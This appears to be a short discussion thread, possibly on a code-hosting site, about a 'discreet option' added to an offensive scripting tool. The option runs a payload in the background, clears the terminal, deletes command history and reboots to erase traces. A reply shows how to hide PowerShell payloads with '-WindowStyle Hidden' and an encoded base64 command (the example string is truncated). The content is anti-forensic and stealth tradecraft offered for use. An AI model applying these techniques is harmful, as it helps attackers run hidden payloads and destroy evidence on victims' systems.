Added discreet option

[nicolasmf]

Discreet option launches script in background and clears terminal, deletes command history and reboots to cover execution traces

[xpsknoth]

@nicolasmf
I quite agree that these should be added
There are many people who just come to learn. Most of them still do not understand these languages.

This is for anyone who doesn't know.
Here's how to open scripts in the background.

1. Add " -WindowStyle Hidden " at the end of the payload this is the easiest way
   example : powershell -e JABzAD0AJwAzADYAZAA4AC0AMQA4ADAALQAxADgAMw -WindowStyle Hidden
   Or
2. Just create raw payload and add " -WindowStyle Hidden " after that encode into base64
   These methods work for me well.😊

[nicolasmf]

Thank you, @xpsknoth, for your explanations !